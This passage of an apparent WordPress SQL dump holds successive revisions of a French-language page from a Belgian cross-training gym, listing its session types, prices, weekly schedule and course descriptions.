style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€&lt;br&gt;\r\nSuivi 15,00€\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:17:45', '2013-06-16 14:17:45', '', 11, 'http://www.crosstrainingcenter.be/?p=111', 0, 'revision', '', 0),
(110, 1, '2013-06-16 14:17:07', '2013-06-16 14:17:07', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 séance : 9.00€&lt;br&gt;\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)&lt;br&gt;\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)&lt;br&gt;\r\nAbonnement 1 mois illimité : 69.00€\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€&lt;br&gt;\r\nSuivi 15,00€\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:17:07', '2013-06-16 14:17:07', '', 11, 'http://www.crosstrainingcenter.be/?p=110', 0, 'revision', '', 0),
(112, 1, '2013-06-16 14:18:18', '2013-06-16 14:18:18', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:18:18', '2013-06-16 14:18:18', '', 11, 'http://www.crosstrainingcenter.be/?p=112', 0, 'revision', '', 0),
(113, 1, '2013-06-16 14:18:50', '2013-06-16 14:18:50', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:18:50', '2013-06-16 14:18:50', '', 11, 'http://www.crosstrainingcenter.be/?p=113', 0, 'revision', '', 0),
(114, 1, '2013-06-16 14:20:17', '2013-06-16 14:20:17', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color:#999999;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:20:17', '2013-06-16 14:20:17', '', 11, 'http://www.crosstrainingcenter.be/?p=114', 0, 'revision', '', 0);
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(115, 1, '2013-06-16 14:20:55', '2013-06-16 14:20:55', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color:#cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color:#eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color:#cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:20:55', '2013-06-16 14:20:55', '', 11, 'http://www.crosstrainingcenter.be/?p=115', 0, 'revision', '', 0),
(116, 1, '2013-06-16 14:24:10', '2013-06-16 14:24:10', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:24:10', '2013-06-16 14:24:10', '', 11, 'http://www.crosstrainingcenter.be/?p=116', 0, 'revision', '', 0),
(117, 1, '2013-06-16 14:24:59', '2013-06-16 14:24:59', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #cccccc;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; 